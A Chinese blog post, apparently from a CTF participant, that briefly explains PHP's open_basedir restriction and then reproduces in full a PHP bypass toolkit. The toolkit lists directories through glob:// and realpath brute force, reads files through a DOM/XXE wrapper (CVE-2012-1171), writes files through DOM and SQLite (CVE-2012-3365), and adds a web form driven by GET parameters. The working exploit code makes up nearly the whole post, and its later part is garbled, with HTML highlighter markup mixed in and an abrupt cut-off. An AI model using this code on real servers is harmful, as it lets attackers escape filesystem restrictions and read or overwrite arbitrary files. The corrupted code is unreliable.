绕过open_basedir读文件脚本

文章目录
绕过open_basedir读文件脚本

参加了一场2016年的sycsec感觉又学到不少东西

废话不多说,首先啥是open_basedir?

open_basedir: 将用户可操作的文件限制在某目录下

具体的设置方法可以参考:http://blog.csdn.net/white__cat/article/details/32734343

这样设置之后,原则上被限制之外的目录是无法读写文件的,但是有一个漏洞却打破了这个限制

参考p牛的文章:https://www.leavesongs.com/bypass-open-basedir-readfile.html

但是p牛给的脚本报错,老是读不到文件,这里我在比赛服务器里面找到一个神器的脚本可以成功,下面是那个神奇的php:

[php] view plain copy

  1. /* 
  2. PHP open_basedir bypass collection 
  3. Works with >= PHP5 
  4. By /fd, @filedescriptor(https://twitter.com/filedescriptor) 
  5.  */  
  6.   
  7. // Assistant functions  
  8. function getRelativePath($from$to) {  
  9.     // some compatibility fixes for Windows paths  
  10.     $from = rtrim($from‘\/’) . ‘/’;  
  11.     $from = str_replace(‘\\’, ‘/’, $from);  
  12.     $to = str_replace(‘\\’, ‘/’, $to);  
  13.   
  14.     $from = explode(‘/’$from);  
  15.     $to = explode(‘/’$to);  
  16.     $relPath = $to;  
  17.   
  18.     foreach ($from as $depth => $dir) {  
  19.         // find first non-matching dir  
  20.         if ($dir === $to[$depth]) {  
  21.             // ignore this directory  
  22.             array_shift($relPath);  
  23.         } else {  
  24.             // get number of remaining dirs to $from  
  25.             $remaining = count($from) – $depth;  
  26.             if ($remaining > 1) {  
  27.                 // add traversals up to first matching dir  
  28.                 $padLength = (count($relPath) + $remaining – 1) * -1;  
  29.                 $relPath = array_pad($relPath$padLength‘..’);  
  30.                 break;  
  31.             } else {  
  32.                 $relPath[0] = ‘./’ . $relPath[0];  
  33.             }  
  34.         }  
  35.     }  
  36.     return implode(‘/’$relPath);  
  37. }  
  38.   
  39. function fallback($classes) {  
  40.     foreach ($classes as $class) {  
  41.         $object = new $class;  
  42.         if ($object->isAvailable()) {  
  43.             return $object;  
  44.         }  
  45.     }  
  46.     return new NoExploit;  
  47. }  
  48.   
  49. // Core classes  
  50. interface Exploitable {  
  51.     function isAvailable();  
  52.     function getDescription();  
  53. }  
  54.   
  55. class NoExploit implements Exploitable {  
  56.     function isAvailable() {  
  57.         return true;  
  58.     }  
  59.     function getDescription() {  
  60.         return ‘No exploit is available.’;  
  61.     }  
  62. }  
  63.   
  64. abstract class DirectoryLister implements Exploitable {  
  65.     var $currentPath;  
  66.   
  67.     function isAvailable() {}  
  68.     function getDescription() {}  
  69.     function getFileList() {}  
  70.     function setCurrentPath($currentPath) {  
  71.         $this->currentPath = $currentPath;  
  72.     }  
  73.     function getCurrentPath() {  
  74.         return $this->currentPath;  
  75.     }  
  76. }  
  77.   
  78. class GlobWrapperDirectoryLister extends DirectoryLister {  
  79.     function isAvailable() {  
  80.         return stripos(PHP_OS, ‘win’) === FALSE && in_array(‘glob’, stream_get_wrappers());  
  81.     }  
  82.     function getDescription() {  
  83.         return ‘Directory listing via glob pattern’;  
  84.     }  
  85.     function getFileList() {  
  86.         $file_list = array();  
  87.         // normal files  
  88.         $it = new DirectoryIterator(“glob://{$this->getCurrentPath()}*”);  
  89.         foreach ($it as $f) {  
  90.             $file_list[] = $f->__toString();  
  91.         }  
  92.         // special files (starting with a dot(.))  
  93.         $it = new DirectoryIterator(“glob://{$this->getCurrentPath()}.*”);  
  94.         foreach ($it as $f) {  
  95.             $file_list[] = $f->__toString();  
  96.         }  
  97.         sort($file_list);  
  98.         return $file_list;  
  99.     }  
  100. }  
  101.   
  102. class RealpathBruteForceDirectoryLister extends DirectoryLister {  
  103.     var $characters = ‘abcdefghijklmnopqrstuvwxyz0123456789-_’  
  104.     , $extension = array()  
  105.     , $charactersLength = 38  
  106.     , $maxlength = 3  
  107.     , $fileList = array();  
  108.   
  109.     function isAvailable() {  
  110.         return ini_get(‘open_basedir’) && function_exists(‘realpath’);  
  111.     }  
  112.     function getDescription() {  
  113.         return ‘Directory listing via brute force searching with realpath function.’;  
  114.     }  
  115.     function setCharacters($characters) {  
  116.         $this->characters = $characters;  
  117.         $this->charactersLength = count($characters);  
  118.     }  
  119.     function setExtension($extension) {  
  120.         $this->extension = $extension;  
  121.     }  
  122.     function setMaxlength($maxlength) {  
  123.         $this->maxlength = $maxlength;  
  124.     }  
  125.     function getFileList() {  
  126.         set_time_limit(0);  
  127.         set_error_handler(array(__CLASS__‘handler’));  
  128.         $number_set = array();  
  129.         while (count($number_set = $this->nextCombination($number_set, 0)) <= $this->maxlength) {  
  130.             $this->searchFile($number_set);  
  131.         }  
  132.         sort($this->fileList);  
  133.         return $this->fileList;  
  134.     }  
  135.     function nextCombination($number_set$length) {  
  136.         if (!isset($number_set[$length])) {  
  137.             $number_set[$length] = 0;  
  138.             return $number_set;  
  139.         }  
  140.         if ($number_set[$length] + 1 === $this->charactersLength) {  
  141.             $number_set[$length] = 0;  
  142.             $number_set = $this->nextCombination($number_set$length + 1);  
  143.         } else {  
  144.             $number_set[$length]++;  
  145.         }  
  146.         return $number_set;  
  147.     }  
  148.     function searchFile($number_set) {  
  149.         $file_name = ‘a’;  
  150.         foreach ($number_set as $key => $value) {  
  151.             $file_name[$key] = $this->characters[$value];  
  152.         }  
  153.         // normal files  
  154.         realpath($this->getCurrentPath() . $file_name);  
  155.         // files with preceeding dot  
  156.         realpath($this->getCurrentPath() . ‘.’ . $file_name);  
  157.         // files with extension  
  158.         foreach ($this->extension as $extension) {  
  159.             realpath($this->getCurrentPath() . $file_name . $extension);  
  160.         }  
  161.     }  
  162.     function handler($errno$errstr$errfile$errline) {  
  163.         $regexp = ‘/File(.)(.∗) is not within/’;  
  164.         preg_match($regexp$errstr$matches);  
  165.         if (isset($matches[1])) {  
  166.             $this->fileList[] = $matches[1];  
  167.         }  
  168.   
  169.     }  
  170. }  
  171.   
  172. abstract class FileWriter implements Exploitable {  
  173.     var $filePath;  
  174.   
  175.     function isAvailable() {}  
  176.     function getDescription() {}  
  177.     function write($content) {}  
  178.     function setFilePath($filePath) {  
  179.         $this->filePath = $filePath;  
  180.     }  
  181.     function getFilePath() {  
  182.         return $this->filePath;  
  183.     }  
  184. }  
  185.   
  186. abstract class FileReader implements Exploitable {  
  187.     var $filePath;  
  188.   
  189.     function isAvailable() {}  
  190.     function getDescription() {}  
  191.     function read() {}  
  192.     function setFilePath($filePath) {  
  193.         $this->filePath = $filePath;  
  194.     }  
  195.     function getFilePath() {  
  196.         return $this->filePath;  
  197.     }  
  198. }  
  199.   
  200. // Assistant class for DOMFileWriter & DOMFileReader  
  201. class StreamExploiter {  
  202.     var $mode$filePath$fileContent;  
  203.   
  204.     function stream_close() {  
  205.         $doc = new DOMDocument;  
  206.         $doc->strictErrorChecking = false;  
  207.         switch ($this->mode) {  
  208.         case ‘w’:  
  209.             $doc->loadHTML($this->fileContent);  
  210.             $doc->removeChild($doc->firstChild);  
  211.             $doc->saveHTMLFile($this->filePath);  
  212.             break;  
  213.         default:  
  214.         case ‘r’:  
  215.             $doc->resolveExternals = true;  
  216.             $doc->substituteEntities = true;  
  217.             $doc->loadXML(“filePath}\”>]>&file;, LIBXML_PARSEHUGE);  
  218.             echo $doc->documentElement->firstChild->nodeValue;  
  219.         }  
  220.     }  
  221.     function stream_open($path$mode$options, &$opened_path) {  
  222.         $this->filePath = substr($path, 10);  
  223.         $this->mode = $mode;  
  224.         return true;  
  225.     }  
  226.     public function stream_write($data) {  
  227.         $this->fileContent = $data;  
  228.         return strlen($data);  
  229.     }  
  230. }  
  231.   
  232. class DOMFileWriter extends FileWriter {  
  233.     function isAvailable() {  
  234.         return extension_loaded(‘dom’) && (version_compare(phpversion(), ‘5.3.10’‘<=') || version_compare(phpversion(), ‘5.4.0’‘=’));  
  235.     }  
  236.     function getDescription() {  
  237.         return ‘Write to and create a file exploiting CVE-2012-1171 (allow overriding). Notice the content should be in well-formed XML format.’;  
  238.     }  
  239.     function write($content) {  
  240.         // set it to global resource in order to trigger RSHUTDOWN  
  241.         global $_DOM_exploit_resource;  
  242.         stream_wrapper_register(‘exploit’‘StreamExploiter’);  
  243.         $_DOM_exploit_resource = fopen(“exploit://{$this->getFilePath()}”‘w’);  
  244.         fwrite($_DOM_exploit_resource$content);  
  245.     }  
  246. }  
  247.   
  248. class DOMFileReader extends FileReader {  
  249.     function isAvailable() {  
  250.         return extension_loaded(‘dom’) && (version_compare(phpversion(), ‘5.3.10’‘<=') || version_compare(phpversion(), ‘5.4.0’‘=’));  
  251.     }  
  252.     function getDescription() {  
  253.         return ‘Read a file exploiting CVE-2012-1171. Notice the content should be in well-formed XML format.’;  
  254.     }  
  255.     function read() {  
  256.         // set it to global resource in order to trigger RSHUTDOWN  
  257.         global $_DOM_exploit_resource;  
  258.         stream_wrapper_register(‘exploit’‘StreamExploiter’);  
  259.         $_DOM_exploit_resource = fopen(“exploit://{$this->getFilePath()}”‘r’);  
  260.     }  
  261. }  
  262.   
  263. class SqliteFileWriter extends FileWriter {  
  264.     function isAvailable() {  
  265.         return is_writable(getcwd())  
  266.             && (extension_loaded(‘sqlite3’) || extension_loaded(‘sqlite’))  
  267.             && (version_compare(phpversion(), ‘5.3.15’‘<=') || (version_compare(phpversion(), ‘5.4.5’‘<=') && PHP_MINOR_VERSION == 4));  
  268.     }  
  269.     function getDescription() {  
  270.         return ‘Create a file with custom content exploiting CVE-2012-3365 (disallow overriding). Junk contents may be inserted’;  
  271.     }  
  272.     function write($content) {  
  273.         $sqlite_class = extension_loaded(‘sqlite3’) ? ‘sqlite3’ : ‘SQLiteDatabase’;  
  274.         mkdir(‘:memory:’);  
  275.         $payload_path = getRelativePath(getcwd() . ‘/:memory:’$this->getFilePath());  
  276.         $payload = str_replace(‘\”‘\’\”$content);  
  277.         $database = new $sqlite_class(“:memory:/{$payload_path}”);  
  278.         $database->exec(“CREATE TABLE foo (bar STRING)”);  
  279.         $database->exec(“INSERT INTO foo (bar) VALUES (‘{$payload}’)”);  
  280.         $database->close();  
  281.         rmdir(‘:memory:’);  
  282.     }  
  283. }  
  284.   
  285. // End of Core  
  286. ?>  
  287. $action = isset($_GET[‘action’]) ? $_GET[‘action’] : ;  
  288. $cwd = isset($_GET[‘cwd’]) ? $_GET[‘cwd’] : getcwd();  
  289. $cwd = rtrim($cwd, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR;  
  290. $directorLister = fallback(array(‘GlobWrapperDirectoryLister’‘RealpathBruteForceDirectoryLister’));  
  291. $fileWriter = fallback(array(‘DOMFileWriter’‘SqliteFileWriter’));  
  292. $fileReader = fallback(array(‘DOMFileReader’));  
  293. $append = ;  
  294. ?>  

  295.   

  296. “panel”>  
  297. “dl”>  
  298. open_basedir: “color: red”>echo ini_get(‘open_basedir’) ? ini_get(‘open_basedir’) : ‘Off’; ?>  
  299. “display:inline-block” action=“”>  
  300. Directory Listing:Current Directory: “cwd” size=“100” value=>“submit” value=“Go”>  
  301. if (get_class($directorLister) === ‘RealpathBruteForceDirectoryLister’): ?>  
  302. $characters = isset($_GET[‘characters’]) ? $_GET[‘characters’] : $directorLister->characters;  
  303. $maxlength = isset($_GET[‘maxlength’]) ? $_GET[‘maxlength’] : $directorLister->maxlength;  
  304. $append = “&characters={$characters}&maxlength={$maxlength}”;  
  305.   
  306. $directorLister->setMaxlength($maxlength);  
  307. ?>  
  308. Search Characters: “characters” size=“100” value=>  
  309. Maxlength of File: “maxlength” size=“1” value=>  
  310. endif;?>  
  311. Description      : echo $directorLister->getDescription(); ?>  
  312.   
  313.   
  314.   

  315. $file_path = isset($_GET[‘file_path’]) ? $_GET[‘file_path’] : ;  
  316. ?>  
  317. “rf”>  
  318. open_basedir: “color: red”>echo ini_get(‘open_basedir’) ? ini_get(‘open_basedir’) : ‘Off’; ?>  
  319. “display:inline-block” action=“”>  
  320. Read File :File Path: “file_path” size=“100” value=>“submit” value=“Read”>  
  321. Description: echo $fileReader->getDescription(); ?>“hidden” name=“action” value=“rf”>  
  322.   
  323.   
  324.   

  325. “wf”>  
  326. open_basedir: “color: red”>echo ini_get(‘open_basedir’) ? ini_get(‘open_basedir’) : ‘Off’; ?>  
  327. “display:inline-block” action=“”>  
  328. Write File :File Path   : “file_path” size=“100” value=>“submit” value=“Write”>  
  329. File Content: “70” name=“content”>  
  330. Description : echo $fileWriter->getDescription(); ?>“hidden” name=“action” value=“wf”>  
  331.   
  332.   
  333.   

  

  • “#dl”>Directory Listing | “#rf”>Read File | “#wf”>Write File  


  •   
  •   
  • if ($action === 'rf'): ?>  
  • &nbsp;&nbsp;</span></li> <li class="alt" style="border-top:none;border-right:none;border-bottom:none;border-left:3px solid rgb(108,226,108);color:inherit;line-height:18px;padding:0px 3px 0px 10px;margin-right:0px;margin-bottom:0px;list-style-position:outside;"><span style="margin:0px;padding:0px;border:none;color:#000000;background-color:inherit;"><?php&nbsp;&nbsp;</span></li> <li style="border-top:none;border-right:none;border-bottom:none;border-left:3px solid rgb(108,226,108);background-color:rgb(248,248,248);line-height:18px;padding:0px 3px 0px 10px;margin-right:0px;margin-bottom:0px;list-style-position:outside;"><span style="margin:0px;padding:0px;border:none;color:#000000;background-color:inherit;"><span class="vars" style="margin:0px;padding:0px;border:none;color:rgb(221,0,0);background-color:inherit;">$fileReader</span><span style="margin:0px;padding:0px;border:none;background-color:inherit;">->setFilePath(</span><span class="vars" style="margin:0px;padding:0px;border:none;color:rgb(221,0,0);background-color:inherit;">$file_path</span><span style="margin:0px;padding:0px;border:none;background-color:inherit;">);&nbsp;&nbsp;</span></span></li> <li class="alt" style="border-top:none;border-right:none;border-bottom:none;border-left:3px solid rgb(108,226,108);color:inherit;line-height:18px;padding:0px 3px 0px 10px;margin-right:0px;margin-bottom:0px;list-style-position:outside;"><span style="margin:0px;padding:0px;border:none;color:#000000;background-color:inherit;"><span class="func" style="margin:0px;padding:0px;border:none;background-color:inherit;">echo</span><span style="margin:0px;padding:0px;border:none;background-color:inherit;">&nbsp;</span><span class="vars" style="margin:0px;padding:0px;border:none;color:rgb(221,0,0);background-color:inherit;">$fileReader</span><span style="margin:0px;padding:0px;border:none;background-color:inherit;">->read();&nbsp;&nbsp;</span></span></li> <li style="border-top:none;border-right:none;border-bottom:none;border-left:3px solid rgb(108,226,108);background-color:rgb(248,248,248);line-height:18px;padding:0px 3px 0px 10px;margin-right:0px;margin-bottom:0px;list-style-position:outside;"><span style="margin:0px;padding:0px;border:none;color:#000000;background-color:inherit;">?>&nbsp;&nbsp;</span></li> <li class="alt" style="border-top:none;border-right:none;border-bottom:none;border-left:3px solid rgb(108,226,108);color:inherit;line-height:18px;padding:0px 3px 0px 10px;margin-right:0px;margin-bottom:0px;list-style-position:outside;"><span style="margin:0px;padding:0px;border:none;color:#000000;background-color:inherit;"><?php&nbsp;<span class="keyword" style="margin:0px;padding:0px;border:none;color:rgb(0,102,153);background-color:inherit;font-weight:bold;">elseif</span><span style="margin:0px;padding:0px;border:none;background-color:inherit;">&nbsp;(</span><span class="vars" style="margin:0px;padding:0px;border:none;color:rgb(221,0,0);background-color:inherit;">$action</span><span style="margin:0px;padding:0px;border:none;background-color:inherit;">&nbsp;===&nbsp;</span><span class="string" style="margin:0px;padding:0px;border:none;color:#0000FF;background-color:inherit;">'wf'</span><span style="margin:0px;padding:0px;border:none;background-color:inherit;">):&nbsp;?>&nbsp;&nbsp;</span></span></li> <li style="border-top:none;border-right:none;border-bottom:none;border-left:3px solid rgb(108,226,108);background-color:rgb(248,248,248);line-height:18px;padding:0px 3px 0px 10px;margin-right:0px;margin-bottom:0px;list-style-position:outside;"><span style="margin:0px;padding:0px;border:none;color:#000000;background-color:inherit;"><?php&nbsp;&nbsp;</span></li> <li class="alt" style="border-top:none;border-right:none;border-bottom:none;border-left:3px solid rgb(108,226,108);color:inherit;line-height:18px;padding:0px 3px 0px 10px;margin-right:0px;margin-bottom:0px;list-style-position:outside;"><span style="margin:0px;padding:0px;border:none;color:#000000;background-color:inherit;"><span class="keyword" style="margin:0px;padding:0px;border:none;color:rgb(0,102,153);background-color:inherit;font-weight:bold;">if</span><span style="margin:0px;padding:0px;border:none;background-color:inherit;">&nbsp;(isset(</span><span class="vars" style="margin:0px;padding:0px;border:none;color:rgb(221,0,0);background-color:inherit;">$_GET</span><span style="margin:0px;padding:0px;border:none;background-color:inherit;">[</span><span class="string" style="margin:0px;padding:0px;border:none;color:#0000FF;background-color:inherit;">'content'</span><span style="margin:0px;padding:0px;border:none;background-color:inherit;">]))&nbsp;{&nbsp;&nbsp;</span></span></li> <li style="border-top:none;border-right:none;border-bottom:none;border-left:3px solid rgb(108,226,108);background-color:rgb(248,248,248);line-height:18px;padding:0px 3px 0px 10px;margin-right:0px;margin-bottom:0px;list-style-position:outside;"><span style="margin:0px;padding:0px;border:none;color:#000000;background-color:inherit;">&nbsp;&nbsp;&nbsp;&nbsp;<span class="vars" style="margin:0px;padding:0px;border:none;color:rgb(221,0,0);background-color:inherit;">$fileWriter</span><span style="margin:0px;padding:0px;border:none;background-color:inherit;">->setFilePath(</span><span class="vars" style="margin:0px;padding:0px;border:none;color:rgb(221,0,0);background-color:inherit;">$file_path</span><span style="margin:0px;padding:0px;border:none;background-color:inherit;">);&nbsp;&nbsp;</span></span></li> <li class="alt" style="border-top:none;border-right:none;border-bottom:none;border-left:3px solid rgb(108,226,108);color:inherit;line-height:18px;padding:0px 3px 0px 10px;margin-right:0px;margin-bottom:0px;list-style-position:outside;"><span style="margin:0px;padding:0px;border:none;color:#000000;background-color:inherit;">&nbsp;&nbsp;&nbsp;&nbsp;<span class="vars" style="margin:0px;padding:0px;border:none;color:rgb(221,0,0);background-color:inherit;">$fileWriter</span><span style="margin:0px;padding:0px;border:none;background-color:inherit;">->write(</span><span class="vars" style="margin:0px;padding:0px;border:none;color:rgb(221,0,0);background-color:inherit;">$_GET</span><span style="margin:0px;padding:0px;border:none;background-color:inherit;">[</span><span class="string" style="margin:0px;padding:0px;border:none;color:#0000FF;background-color:inherit;">'content'</span><span style="margin:0px;padding:0px;border:none;background-color:inherit;">]);&nbsp;&nbsp;</span></span></li> <li style="border-top:none;border-right:none;border-bottom:none;border-left:3px solid rgb(108,226,108);background-color:rgb(248,248,248);line-height:18px;padding:0px 3px 0px 10px;margin-right:0px;margin-bottom:0px;list-style-position:outside;"><span style="margin:0px;padding:0px;border:none;color:#000000;background-color:inherit;">&nbsp;&nbsp;&nbsp;&nbsp;<span class="func" style="margin:0px;padding:0px;border:none;background-color:inherit;">echo</span><span style="margin:0px;padding:0px;border:none;background-color:inherit;">&nbsp;</span><span class="string" style="margin:0px;padding:0px;border:none;color:#0000FF;background-color:inherit;">'The&nbsp;file&nbsp;should&nbsp;be&nbsp;written.'</span><span style="margin:0px;padding:0px;border:none;background-color:inherit;">;&nbsp;&nbsp;</span></span></li> <li class="alt" style="border-top:none;border-right:none;border-bottom:none;border-left:3px solid rgb(108,226,108);color:inherit;line-height:18px;padding:0px 3px 0px 10px;margin-right:0px;margin-bottom:0px;list-style-position:outside;"><span style="margin:0px;padding:0px;border:none;color:#000000;background-color:inherit;">}&nbsp;<span class="keyword" style="margin:0px;padding:0px;border:none;color:rgb(0,102,153);background-color:inherit;font-weight:bold;">else</span><span style="margin:0px;padding:0px;border:none;background-color:inherit;">&nbsp;{&nbsp;&nbsp;</span></span></li> <li style="border-top:none;border-right:none;border-bottom:none;border-left:3px solid rgb(108,226,108);background-color:rgb(248,248,248);line-height:18px;padding:0px 3px 0px 10px;margin-right:0px;margin-bottom:0px;list-style-position:outside;"><span style="margin:0px;padding:0px;border:none;color:#000000;background-color:inherit;">&nbsp;&nbsp;&nbsp;&nbsp;<span class="func" style="margin:0px;padding:0px;border:none;background-color:inherit;">echo</span><span style="margin:0px;padding:0px;border:none;background-color:inherit;">&nbsp;</span><span class="string" style="margin:0px;padding:0px;border:none;color:#0000FF;background-color:inherit;">'Something&nbsp;goes&nbsp;wrong.'</span><span style="margin:0px;padding:0px;border:none;background-color:inherit;">;&nbsp;&nbsp;</span></span></li> <li class="alt" style="border-top:none;border-right:none;border-bottom:none;border-left:3px solid rgb(108,226,108);color:inherit;line-height:18px;padding:0px 3px 0px 10px;margin-right:0px;margin-bottom:0px;list-style-position:outside;"><span style="margin:0px;padding:0px;border:none;color:#000000;background-color:inherit;">}&nbsp;&nbsp;</span></li> <li style="border-top:none;border-right:none;border-bottom:none;border-left:3px solid rgb(108,226,108);background-color:rgb(248,248,248);line-height:18px;padding:0px 3px 0px 10px;margin-right:0px;margin-bottom:0px;list-style-position:outside;"><span style="margin:0px;padding:0px;border:none;color:#000000;background-color:inherit;">?>&nbsp;&nbsp;</span></li> <li class="alt" style="border-top:none;border-right:none;border-bottom:none;border-left:3px solid rgb(108,226,108);color:inherit;line-height:18px;padding:0px 3px 0px 10px;margin-right:0px;margin-bottom:0px;list-style-position:outside;"><span style="margin:0px;padding:0px;border:none;color:#000000;background-color:inherit;"><?php&nbsp;<span class="keyword" style="margin:0px;padding:0px;border:none;color:rgb(0,102,153);background-color:inherit;font-weight:bold;">else</span><span style="margin:0px;padding:0px;border:none;background-color:inherit;">:&nbsp;?>&nbsp;&nbsp;</span></span></li> <li style="border-top:none;border-right:none;border-bottom:none;border-left:3px solid rgb(108,226,108);background-color:rgb(248,248,248);line-height:18px;padding:0px 3px 0px 10px;margin-right:0px;margin-bottom:0px;list-style-position:outside;"><span style="margin:0px;padding:0px;border:none;color:#000000;background-color:inherit;"> <ol>&nbsp;&nbsp;</span></li> <li class="alt" style="border-top:none;border-right:none;border-bottom:none;border-left:3px solid rgb(108,226,108);color:inherit;line-height:18px;padding:0px 3px 0px 10px;margin-right:0px;margin-bottom:0px;list-style-position:outside;"><span style="margin:0px;padding:0px;border:none;color:#000000;background-color:inherit;"><?php&nbsp;&nbsp;</span></li> <li style="border-top:none;border-right:none;border-bottom:none;border-left:3px solid rgb(108,226,108);background-color:rgb(248,248,248);line-height:18px;padding:0px 3px 0px 10px;margin-right:0px;margin-bottom:0px;list-style-position:outside;"><span style="margin:0px;padding:0px;border:none;color:#000000;background-color:inherit;"><span class="vars" style="margin:0px;padding:0px;border:none;color:rgb(221,0,0);background-color:inherit;">$directorLister</span><span style="margin:0px;padding:0px;border:none;background-color:inherit;">->setCurrentPath(</span><span class="vars" style="margin:0px;padding:0px;border:none;color:rgb(221,0,0);background-color:inherit;">$cwd</span><span style="margin:0px;padding:0px;border:none;background-color:inherit;">);&nbsp;&nbsp;</span></span></li> <li class="alt" style="border-top:none;border-right:none;border-bottom:none;border-left:3px solid rgb(108,226,108);color:inherit;line-height:18px;padding:0px 3px 0px 10px;margin-right:0px;margin-bottom:0px;list-style-position:outside;"><span style="margin:0px;padding:0px;border:none;color:#000000;background-color:inherit;"><span class="vars" style="margin:0px;padding:0px;border:none;color:rgb(221,0,0);background-color:inherit;">$file_list</span><span style="margin:0px;padding:0px;border:none;background-color:inherit;">&nbsp;=&nbsp;</span><span class="vars" style="margin:0px;padding:0px;border:none;color:rgb(221,0,0);background-color:inherit;">$directorLister</span><span style="margin:0px;padding:0px;border:none;background-color:inherit;">->getFileList();&nbsp;&nbsp;</span></span></li> <li style="border-top:none;border-right:none;border-bottom:none;border-left:3px solid rgb(108,226,108);background-color:rgb(248,248,248);line-height:18px;padding:0px 3px 0px 10px;margin-right:0px;margin-bottom:0px;list-style-position:outside;"><span style="margin:0px;padding:0px;border:none;color:#000000;background-color:inherit;"><span class="vars" style="margin:0px;padding:0px;border:none;color:rgb(221,0,0);background-color:inherit;">$parent_path</span><span style="margin:0px;padding:0px;border:none;background-color:inherit;">&nbsp;=&nbsp;dirname(</span><span class="vars" style="margin:0px;padding:0px;border:none;color:rgb(221,0,0);background-color:inherit;">$cwd</span><span style="margin:0px;padding:0px;border:none;background-color:inherit;">);&nbsp;&nbsp;</span></span></li> <li class="alt" style="border-top:none;border-right:none;border-bottom:none;border-left:3px solid rgb(108,226,108);color:inherit;line-height:18px;padding:0px 3px 0px 10px;margin-right:0px;margin-bottom:0px;list-style-position:outside;"><span style="margin:0px;padding:0px;border:none;color:#000000;background-color:inherit;">&nbsp;&nbsp;</span></li> <li style="border-top:none;border-right:none;border-bottom:none;border-left:3px solid rgb(108,226,108);background-color:rgb(248,248,248);line-height:18px;padding:0px 3px 0px 10px;margin-right:0px;margin-bottom:0px;list-style-position:outside;"><span style="margin:0px;padding:0px;border:none;color:#000000;background-color:inherit;"><span class="func" style="margin:0px;padding:0px;border:none;background-color:inherit;">echo</span><span style="margin:0px;padding:0px;border:none;background-color:inherit;">&nbsp;</span><span class="string" style="margin:0px;padding:0px;border:none;color:#0000FF;background-color:inherit;">" <li><a&nbsp;href='?cwd={$parent_path}{$append}#dl'>Parent</a></li> <p>"</span><span style="margin:0px;padding:0px;border:none;background-color:inherit;">;&nbsp;&nbsp;</span></span></li> <li class="alt" style="border-top:none;border-right:none;border-bottom:none;border-left:3px solid rgb(108,226,108);color:inherit;line-height:18px;padding:0px 3px 0px 10px;margin-right:0px;margin-bottom:0px;list-style-position:outside;"><span style="margin:0px;padding:0px;border:none;color:#000000;background-color:inherit;"><span class="keyword" style="margin:0px;padding:0px;border:none;color:rgb(0,102,153);background-color:inherit;font-weight:bold;">if</span><span style="margin:0px;padding:0px;border:none;background-color:inherit;">&nbsp;(</span><span class="func" style="margin:0px;padding:0px;border:none;background-color:inherit;">count</span><span style="margin:0px;padding:0px;border:none;background-color:inherit;">(</span><span class="vars" style="margin:0px;padding:0px;border:none;color:rgb(221,0,0);background-color:inherit;">$file_list</span><span style="margin:0px;padding:0px;border:none;background-color:inherit;">)&nbsp;>&nbsp;0)&nbsp;{&nbsp;&nbsp;</span></span></li> <li style="border-top:none;border-right:none;border-bottom:none;border-left:3px solid rgb(108,226,108);background-color:rgb(248,248,248);line-height:18px;padding:0px 3px 0px 10px;margin-right:0px;margin-bottom:0px;list-style-position:outside;"><span style="margin:0px;padding:0px;border:none;color:#000000;background-color:inherit;">&nbsp;&nbsp;&nbsp;&nbsp;<span class="keyword" style="margin:0px;padding:0px;border:none;color:rgb(0,102,153);background-color:inherit;font-weight:bold;">foreach</span><span style="margin:0px;padding:0px;border:none;background-color:inherit;">&nbsp;(</span><span class="vars" style="margin:0px;padding:0px;border:none;color:rgb(221,0,0);background-color:inherit;">$file_list</span><span style="margin:0px;padding:0px;border:none;background-color:inherit;">&nbsp;</span><span class="keyword" style="margin:0px;padding:0px;border:none;color:rgb(0,102,153);background-color:inherit;font-weight:bold;">as</span><span style="margin:0px;padding:0px;border:none;background-color:inherit;">&nbsp;</span><span class="vars" style="margin:0px;padding:0px;border:none;color:rgb(221,0,0);background-color:inherit;">$file</span><span style="margin:0px;padding:0px;border:none;background-color:inherit;">)&nbsp;{&nbsp;&nbsp;</span></span></li> <li class="alt" style="border-top:none;border-right:none;border-bottom:none;border-left:3px solid rgb(108,226,108);color:inherit;line-height:18px;padding:0px 3px 0px 10px;margin-right:0px;margin-bottom:0px;list-style-position:outside;"><span style="margin:0px;padding:0px;border:none;color:#000000;background-color:inherit;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="func" style="margin:0px;padding:0px;border:none;background-color:inherit;">echo</span><span style="margin:0px;padding:0px;border:none;background-color:inherit;">&nbsp;</span><span class="string" style="margin:0px;padding:0px;border:none;color:#0000FF;background-color:inherit;">" <li><a&nbsp;href='?cwd={$cwd}{$file}{$append}#dl'>{$file}</a></li> <p>"</span><span style="margin:0px;padding:0px;border:none;background-color:inherit;">;&nbsp;&nbsp;</span></span></li> <li style="border-top:none;border-right:none;border-bottom:none;border-left:3px solid rgb(108,226,108);background-color:rgb(248,248,248);line-height:18px;padding:0px 3px 0px 10px;margin-right:0px;margin-bottom:0px;list-style-position:outside;"><span style="margin:0px;padding:0px;border:none;color:#000000;background-color:inherit;">&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;&nbsp;</span></li> <li class="alt" style="border-top:none;border-right:none;border-bottom:none;border-left:3px solid rgb(108,226,108);color:inherit;line-height:18px;padding:0px 3px 0px 10px;margin-right:0px;margin-bottom:0px;list-style-position:outside;"><span style="margin:0px;padding:0px;border:none;color:#000000;background-color:inherit;">}&nbsp;<span class="keyword" style="margin:0px;padding:0px;border:none;color:rgb(0,102,153);background-color:inherit;font-weight:bold;">else</span><span style="margin:0px;padding:0px;border:none;background-color:inherit;">&nbsp;{&nbsp;&nbsp;</span></span></li> <li style="border-top:none;border-right:none;border-bottom:none;border-left:3px solid rgb(108,226,108);background-color:rgb(248,248,248);line-height:18px;padding:0px 3px 0px 10px;margin-right:0px;margin-bottom:0px;list-style-position:outside;"><span style="margin:0px;padding:0px;border:none;color:#000000;background-color:inherit;">&nbsp;&nbsp;&nbsp;&nbsp;<span class="func" style="margin:0px;padding:0px;border:none;background-color:inherit;">echo</span><span style="margin:0px;padding:0px;border:none;background-color:inherit;">&nbsp;</span><span class="string" style="margin:0px;padding:0px;border:none;color:#0000FF;background-color:inherit;">'No&nbsp;files&nbsp;found.&nbsp;The&nbsp;path&nbsp;is&nbsp;probably&nbsp;not&nbsp;a&nbsp;directory.'</span><span style="margin:0px;padding:0px;border:none;background-color:inherit;">;&nbsp;&nbsp;</span></span></li> <li class="alt" style="border-top:none;border-right:none;border-bottom:none;border-left:3px solid rgb(108,226,108);color:inherit;line-height:18px;padding:0px 3px 0px 10px;margin-right:0px;margin-bottom:0px;list-style-position:outside;"><span style="margin:0px;padding:0px;border:none;color:#000000;background-color:inherit;">}&nbsp;&nbsp;</span></li> <li style="border-top:none;border-right:none;border-bottom:none;border-left:3px solid rgb(108,226,108);background-color:rgb(248,248,248);line-height:18px;padding:0px 3px 0px 10px;margin-right:0px;margin-bottom:0px;list-style-position:outside;"><span 